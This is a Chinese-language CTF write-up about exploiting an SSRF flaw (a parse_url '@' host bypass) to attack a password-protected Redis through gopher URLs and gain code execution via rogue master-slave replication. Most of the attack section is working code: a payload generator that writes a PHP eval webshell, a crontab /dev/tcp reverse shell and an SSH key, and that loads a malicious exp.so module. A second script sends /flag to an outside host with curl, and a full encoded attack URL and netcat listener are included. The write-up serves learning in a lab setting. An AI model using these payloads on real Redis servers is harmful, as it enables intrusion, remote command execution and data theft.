前言
最近在学习关于redis的一些漏洞发现网上很多复现文章中的poc都是利用的未授权访问,但是实际上现在redis未授权访问不会像以前那么多,但是估计弱口令不少,所以就想着研究一下。问了glotzz师傅最近正好有一个ssrf + redis 的ctf题目,正好学习一下
正文
复现网站:https://buuoj.cn/
开局一个代码片段,让我们来代码审计进行绕过
代码就不附了,简单的看了一下(毕竟是一个不会审计的憨批)我们可以发现代码对内网地址进行了一个限制,不允许对内网地址进行请求。
这里通过parse_url这个点来进行绕过
参考文章:https://paper.seebug.org/561/#parse_urllibcurlurlssrf
parser_url获取的是host中最后一个@后面的host
结合代码最后的// Please visit hint.php locally. 可以构造出如下结构绕过对内网地址的判断
?url=http://www.wjlshare.xyz@0.0.0.0/hint.php
@前面随便输入即可只要确保@后的是0.0.0.0就行
成功获取到了hint文件
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
从代码中可以看出这里的hint是redis的密码,密码为root
这里的题意其实已经比较明确了,给出了redis的密码,那么很有可能就是让我们对redis进行getshell然后获取服务器上的flag
参考文章:https://www.bycsec.top/
redis常见的getshell有这么几种:
- 直接写webshell ,将shell写在web目录下
- 写ssh公钥
- 写crontab反弹shell,利用定时任务进行反弹shell
- 主从复制进行getshell
这里第一个肯定是行不通的,第一种getshell的方式都是通过将shell写入web目录下,这里我们都不知道目标的web目录是什么,剩下的更加不行了,没有ssh和crontab服务,所以比较可行的方案就是主从复制了。
redis主从复制getshell主要是利用了redis主从关系(由于redis数据处理都是在内存中进行的,redis在处理庞大数据的时候为了减少服务器压力,采用了主从服务器的方式来进行缓解,主机负责写,从机负责读)
以下文本来自:http://yulige.top/?p=775#i-13
然后因为redis采用的resp协议的验证非常简洁,所以可以采用python模拟一个redis服务的交互,并且将备份的rdb数据库备份文件内容替换为恶意的so文件,然后就会自动在节点redis中生成exp.so,再用module load命令加载so文件即可完成rce,这就是前段时间非常火的基于主从复制的redisrce的原理
在将我们的外部拓展换成恶意的exp拓展之后,通过ssrf发过去恶意命令诱使目标redis来导入我们python模拟出来的redis服务器上的恶意exp.so,从而达到可以执行命令的过程
所以接下来思路就比较清晰了
1.需要用python模拟出redis服务
2.需要恶意的exp.so
3.需要相对应的脚本来讲我们执行的代码进行转化成RESP
这里需要用到两个工具
https://github.com/xmsec/redis-ssrf (模拟redis服务,转化脚本)
https://github.com/n0b0dyCN/redis-rogue-server (提供恶意exp)
ps:buu靶机是不通外网的,所以如果我们在公网服务器上建立我们的redis服务器是不行的,我们需要在buu新注册一个账号开启linux靶机或者使用frp内网穿透
我这里是新注册了一个账号,开了一个linux靶机
然后利用sftp将我们的文件发送到linux靶机上
sftp -P 28458 root@node3.buuoj.cn
密码123456
put -r 要上传的文件夹 (服务器上的位置)
一切准备工作做好之后,我们要开始整活了!
首先理清思路:我们首先在linux靶机中运行起redis 从服务器,然后构造payload 去加载从服务器上的恶意拓展exp.so,在成功引入了恶意exp.so之后执行代码获取flag
第一步 在linux服务器上建立起redis从服务器:
注意:python2 版本
python rogue-server.py
第二步构造payload:
目的是让目标redis服务导入我们的恶意 exp.so 的外部拓展
payload也在https://github.com/xmsec/redis-ssrf中,我们只需要进行简单修改就行了
修改payload的 lhost lport
修改密码,对原来的结果再进行一次url编码
#!/usr/local/bin python
# coding=utf8
try:
from urllib import quote
except:
from urllib.parse import quote
def generate_shell(filename, path, passwd, payload):
cmd = ["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def generate_reverse(filename, path, passwd, payload): # centos
cmd = ["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def generate_sshkey(filename, path, passwd, payload):
cmd = ["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
exp_filename = "exp.so"
cmd = [
"SLAVEOF {} {}".format(lhost, lport),
"CONFIG SET dir /tmp/",
"config set dbfilename {}".format(exp_filename),
"MODULE LOAD /tmp/{}".format(exp_filename),
"system.exec {}".format(command.replace(" ", "${IFS}")),
# "SLAVEOF NO ONE",
# "CONFIG SET dbfilename dump.rdb",
# "system.exec rm${IFS}/tmp/{}".format(exp_filename),
# "MODULE UNLOAD system",
"POST"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def rce_cleanup():
exp_filename = "exp.so"
cmd = [
"SLAVEOF NO ONE",
"CONFIG SET dbfilename dump.rdb",
"system.exec rm${IFS}/tmp/{}".format(exp_filename),
"MODULE UNLOAD system",
"POST"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x))) + CRLF + x
cmd += CRLF
return cmd
def generate_payload(ip, port, passwd, mode):
payload = "test"
if mode == 0:
filename = "shell.php"
path = "/var/www/html"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
cmd = generate_shell(filename, path, passwd, shell)
elif mode == 1:
filename = "root"
path = "/var/spool/cron/"
shell = "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.1/2333 0>&1\n\n"
cmd = generate_reverse(filename, path, passwd, shell)
elif mode == 2:
filename = "authorized_keys"
path = "/root/.ssh/"
pubkey = "\n\nssh-rsa "
cmd = generate_sshkey(filename, path, passwd, pubkey)
elif mode == 3:
lhost = "174.1.171.99"
lport = "6666"
command = "whoami"
cmd = generate_rce(lhost, lport, passwd, command)
elif mode == 31:
cmd = rce_cleanup()
protocol = "gopher://"
payload = protocol + ip + ":" + port + "/_"
for x in cmd:
payload += quote(redis_format(x))
return payload
if __name__ == "__main__":
# 0 for webshell ; 1 for re shell ; 2 for ssh key ; 3 for redis rce ; 31 for rce clean up
# suggest cleaning up when mode 3 used
mode = 3
# need auth or not
passwd = "root"
ip = "0.0.0.0"
port = "6379"
p = generate_payload(ip, port, passwd, mode)
# p = p.replace("gopher://127.0.0.1:6379","gopher://www.bycsec.top@0.0.0.0:6379/")
# print(p)
print(quote(p))
python3 运行生成payload
在url中引入:
等待一会我们linux上就会显示结果,exp.so被成功引入
第三步 恶意exp已经被引入接下来我们执行代码:
利用如下代码:
import urllib
protocol="gopher://"
ip="0.0.0.0"
port="6379"
passwd="root"
cmd=[
"MODULE LOAD /tmp/{}".format("exp.so"),
"system.exec {}".format("curl -F 'flag=@/flag' 174.1.171.99:1234".replace(" ","${IFS}"))
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload)
http://6330b9dd-1f4b-49ae-b765-541bd058372b.node3.buuoj.cn/?url=gopher%3A//0.0.0.0%3A6379/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A/tmp/exp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252439%250D%250Acurl%2520-F%2520%2527flag%253D%2540/flag%2527%2520174.1.171.99%253A1234%250D%250A
将payload加到 ?url=后面
在linux服务器上监听1234端口 nc -lvvp 1234
收到flag
评论